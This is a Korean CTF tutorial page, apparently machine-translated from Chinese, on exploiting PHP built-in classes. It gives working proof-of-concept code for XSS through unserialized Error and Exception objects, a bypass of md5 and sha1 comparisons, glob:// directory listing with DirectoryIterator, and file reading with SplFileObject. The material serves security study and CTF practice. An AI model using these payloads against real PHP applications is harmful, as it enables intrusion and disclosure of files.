>  기사  >  백엔드 개발  >  PHP 네이티브 클래스 요약 공유

PHP 네이티브 클래스 요약 공유

WBOY
WBOY앞으로
2023-01-23 07:30:013692검색

이 기사는 PHP에 대한 관련 지식을 제공하며, 기본 클래스에 대한 관련 내용을 주로 소개합니다. 모두에게 도움이 되기를 바랍니다.

PHP 네이티브 클래스 요약 공유

이번 HEctf는 단 세 줄의 코드로 구성된 네이티브 질문입니다. 물론 코드가 짧을수록 ctf는 더 어려워집니다.

먼저 PHP 내장 클래스를 순회하는 스크립트를 게시하세요

 <?php $classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            &#39;__destruct&#39;,
            &#39;__toString&#39;,
            &#39;__wakeup&#39;,
            &#39;__call&#39;,
            &#39;__callStatic&#39;,
            &#39;__get&#39;,
            &#39;__set&#39;,
            &#39;__isset&#39;,
            &#39;__unset&#39;,
            &#39;__invoke&#39;,
            &#39;__set_state&#39;    // 可以根据题目环境将指定的方法添加进来, 来遍历存在指定方法的原生类
        ))) {
            print $class . &#39;::&#39; . $method . "\n";
        }
    }
    
}

결과:

PHP 네이티브 클래스 요약 공유

정리하려면:

Exception
ErrorException
Error
ParseError
TypeError
ArgumentCountError
 ArithmeticError
DivisionByZeroError
ClosedGeneratorException
DateTime
DateTimeZone
DatePeriod
DirectoryIterator
wakeup JsonException
wakeup LogicException
BadFunctionCallException
InvalidArgumentException
 OutOfRangeException
RuntimeException
OverflowException
RangeException
UnderflowException
GlobIterator
SplFixedArray
ReflectionException
ReflectionFunctionAbstract
ReflectionParameter
ReflectionMethod
ReflectionClass
ReflectionClassConstant
ReflectionZendExtension
AssertionError
DOMException
PDOException
SimpleXMLElement
mysqli_sql_exception
PharException
PharData
PharFileInfo

아마도 이것들은 클래스일 것입니다. 하지만 다음 범주는 CTF 대회에서 자주 사용됩니다

  • Error
  • Exception
  • SoapClient
  • DirectoryIterator
  • SimpleXMLElement

Error/Exception XSS

error xss

__toString 메소드에 대한 내장 클래스는 매개변수를 포함하는 오류 또는 예외의 문자열 형식을 반환합니다. 우리가 입력한 xss 코드 문자열을 구성하고 이를 에코 렌더링과 결합하면 반영된 xss 취약점이 트리거됩니다

demo:

<?php $a = unserialize($_GET[&#39;a&#39;]);echo $a;

poc

<?php $a = new Error("<script>alert('hacker')");
$b = serialize($a);
echo urlencode($b);

문자열 문자열을 출력

O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3
Bs%3A32%3A%22%3Cscript%3Ealert%28%27hacker%27%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A25%3A%22E%3A%5Cphp%5Cfunction%5Ctest2.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D复制代码

성공적인 팝업 창

PHP 네이티브 클래스 요약 공유

Exception xss

Exception은 모든 사용자 수준 예외의 기본 클래스입니다. (PHP 5, 7, 8)

<?php $a = new Exception("<script>alert('hacker')");
$b = serialize($a);
echo urlencode($b);
?>

의 팝 구조와 오류는 동일한 것 같습니다(예외는 php5와 7에 적용 가능하고 오류는 php7에만 적용 가능). 오류를 예외로 바꾸면 됩니다. 창이 여전히 성공적으로 나타납니다

PHP 네이티브 클래스 요약 공유

Error/Exception 내장 클래스가 해시 비교를 우회합니다

이 두 클래스를 구성하면 md5() 및 sha1() 함수를 우회할 수 있습니다. 오류와 예외 모두에는 예외 개체를 문자열로 변환하는 데 사용되는 _tostring이라는 중요한 메서드가 있습니다.

마찬가지로 md5(), sha1() 함수가 객체를 처리할 때 __tostring 메서드가 자동으로 호출됩니다

<?php $a = new Error("payload",1);$b=new Error("payload",2);
echo $a."<br>";
echo $b."<br>";

출력 결과

PHP 네이티브 클래스 요약 공유페이로드 뒤의 매개변수는 출력 결과에 영향을 미치지 않는 것을 볼 수 있습니다. 이를 통해 해시 함수를 우회할 수 있습니다.

<?php $a=new Error("payload",1);$b=new Error("payload",2);
if ($a!=$b){
    echo &#39;$a不等于$b&#39;."\n
";}
if (md5($a)===md5($b)) {
    echo "md5值相等\n";
}
if (sha1($a)===sha1($b)){
    echo "sha1值相等\n";
}

PHP 네이티브 클래스 요약 공유

soapclient

soap 정의

Simple Object Access Protocol 의미

여기서 간단하다고 하는 이유는 널리 사용되는 두 가지 프로토콜인 HTTP와 XML을 기반으로 하기 때문입니다. 업계에서는 이를 "어떤 새로운 기술도 발명하지 않은 최초의 기술"이라고 부른다. 접근하는 웹 서비스를 객체라고 칭하기 때문에 서비스도 관련 속성을 가지고 있어야 한다. 및 호출 동작, 이러한 속성과 동작은 WSDL을 통해 설명됩니다. "Simple Object Access Protocol"이라는 용어로 이해하면 "Simple Object Access Protocol"보다 쉽습니다.

PHP의 내장 클래스인 SoapClient는 웹 서비스에 액세스하는 데 특별히 사용되는 클래스입니다. SOAP 프로토콜을 기반으로 하는 서비스입니다.

이 클래스의 생성자는 다음과 같습니다.

public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
  • 첫 번째 매개변수는 wsdl 모드인지 여부를 나타내는 데 사용됩니다. 값을 null로 설정하면 wsdl 모드가 아님을 나타냅니다.
  • 두 번째 매개변수는 배열입니다. wsdl 모드인 경우 이 매개변수는 선택사항입니다. wsdl 모드가 아닌 경우 위치 및 uri 옵션을 설정해야 합니다. 여기서 위치는 요청이 전송되는 SOAP 서버의 URL입니다. , 그리고 uri는 SOAP 서비스의 대상 네임스페이스입니다.

php 기본 파일 작업 클래스

디렉터리 탐색

DirectoryIterator

__toString 파일 이름을 문자열 형식으로 가져옵니다(PHP 5,7,8)

예:

<?php $a = new DirectoryIterator("/");
foreach($a as $b){
    echo($b.&#39;</br>');
}
echo $a;

PHP 네이티브 클래스 요약 공유 출력 지정 디렉터리에서 첫 번째로 정렬된 파일 이름

이 내장 클래스의 __toString 메서드를 glob 또는 파일 프로토콜과 결합하여 디렉터리 순회를 달성합니다

<?php $a = new DirectoryIterator("glob://*");
foreach ($a as $b){
    echo $b.&#39;<br>';
}

PHP 네이티브 클래스 요약 공유

foreach를 사용하여 모든 파일 순회

<?php $a = new DirectoryIterator("glob:///*");
foreach ($a as $b){
    echo $b.&#39;<br>';
}

PHP 네이티브 클래스 요약 공유

슬래시를 한 번 더 누르면 디렉토리가 한 단계 앞으로 이동합니다.

FilesystemIterator 클래스

FilesystemIterator 클래스는 DirectoryIterator 클래스와 동일하며 파일 시스템 디렉터리의 내용을 보기 위한 간단한 인터페이스를 제공합니다. 이 클래스의 생성자는 지정된 디렉터리의 반복자를 만듭니다.

이 클래스의 사용 방법은 기본적으로 DirectoryIterator 클래스와 동일합니다.

<?php $a = new FilesystemIterator("glob:///*");
foreach ($a as $b){
    echo $b.&#39;<br>';
}

PHP 네이티브 클래스 요약 공유

文件读取

SplFileObject::__toString — 以字符串形式返回文件的路径

<?php $a = new SplFileObject(&#39;flag.txt&#39;);
echo $a;

PHP 네이티브 클래스 요약 공유输出多行

<?php $a = new SplFileObject(&#39;flag.txt&#39;);
foreach($a as $f){
    echo($f);
}

PHP 네이티브 클래스 요약 공유

推荐学习:《PHP视频教程

위 내용은 PHP 네이티브 클래스 요약 공유의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명:
이 기사는 juejin.im에서 복제됩니다. 침해가 있는 경우 admin@php.cn으로 문의하시기 바랍니다. 삭제